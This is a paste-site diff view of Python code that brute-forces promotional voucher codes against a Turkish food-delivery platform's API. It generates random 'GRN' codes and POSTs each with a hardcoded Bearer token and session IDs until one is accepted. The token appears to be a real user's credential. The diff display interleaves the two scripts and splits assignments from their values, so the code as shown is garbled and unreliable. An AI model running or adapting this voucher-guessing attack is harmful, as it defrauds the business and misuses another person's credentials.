Facebook
From alii, 1 Year ago, written in Plain Text.
This paste is a reply to asda from asda - go back
Embed
Viewing differences between asda and Re: asda
import random
import string

def generate_random_code():
    prefix 
string
import requests
import time
url 
"grn"
    middle_numbers 
"https://tr.fd-api.com/.../incentives-wallet/vouchers/save..."
headers = {
"Accept": "application/json, text/plain, */*",
"Accept-Encoding": "gzip, deflate, br, zstd",
"Accept-Language": "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7",
"Authorization": "Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6ImtleW1ha2VyLWtleS12b2xvLXlzLXRyIiwidHlwIjoiSldUIn0.eyJpZCI6IjQxN2U3OHFmOThhZjluaXdpb21iemhud2oxanNzbTM5djA5MDdkeWgiLCJjbGllbnRfaWQiOiJ2b2xvIiwidXNlcl9pZCI6InRycGptaGxwIiwiZXhwaXJlcyI6MTcxMDE5NDYxOSwidG9rZW5fdHlwZSI6ImJlYXJlciIsInNjb3BlIjoiQVBJX0NVU1RPTUVSIEFQSV9SRUdJU1RFUkVEX0NVU1RPTUVSIn0.aK7axHK3pBidi5fcU0nb_zVsvti_FXGUw4XLHuSW_dRq4-ti0G3Q41SYcfGla0KG1YU3mQ_8YM7AhLPJJS61j-pqLIq2swoSzbulk47GxPXEbVd0m3D15NcvyTgihrYhcxGAQGq9cZdWJNZ8jiSLeImpp9a9larFhtyaQvg6czpSRpMBvlEUuGrimQPo80pCZGquEEmnQciGBPi22ZGhqpfjsoPYUupZ22pesRNi4AGqK16xr7fJyW4rKBs9hkK5qLc7h27513oaiEw4PlidY75fPk1EmNUFoKkqN9_k5Qj-eY887AwiEulTjln5iZxd30WwYqg_7V4wKc5i9fnfhw",
"Cache-Control": "no-cache",
"Content-Length": "19",
"Content-Type": "application/json;charset=UTF-8",
"Origin": "https://www.yemeksepeti.com",
"Perseus-Client-Id": "1710190501325.80802173083327040.7g5udep56g",
"Perseus-Session-Id": "1710190502734.950370322234302100.d0egwmw9h6",
"Pragma": "no-cache",
"Referer": "https://www.yemeksepeti.com/",
"Sec-Ch-Ua": '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
"Sec-Ch-Ua-Mobile": "?0",
"Sec-Ch-Ua-Platform": '"Windows"',
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "cross-site",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
"X-Fp-Api-Key": "volo"
}
found = False
while not found:
random_n = random.randint(100, 999)
random_t 
= ''.join(random.choices(string.digits, k=2))
    middle_letters = ''.join(random.choices(string.ascii_lowercase, k=4))
    return prefix + middle_numbers + middle_letters

def save_to_file(filename, num_codes):
    with open(filename, 'w') as file:
        for _ in range(num_codes):
            
ascii_uppercase, k=2))
code = generate_random_code()
            file.write(code 
"GRN" 'n')

num_codes_to_generate 
str(random_n) + random_t
# Sample data
data 
100
filename 
{
"code": code
}
# Make the POST request
response 
"random_codes.txt"
save_to_file(filename, num_codes_to_generate)
print(f"{num_codes_to_generate} rastgele kod '{filename}' dosyasına kaydedildi.")
requests.post(url, json=data, headers=headers)
# Check if request was successful
if response.status_code == 200:
print("Voucher applied successfully!")
found = True
else:
print("Error:", response.text, code)
time.sleep(0.5)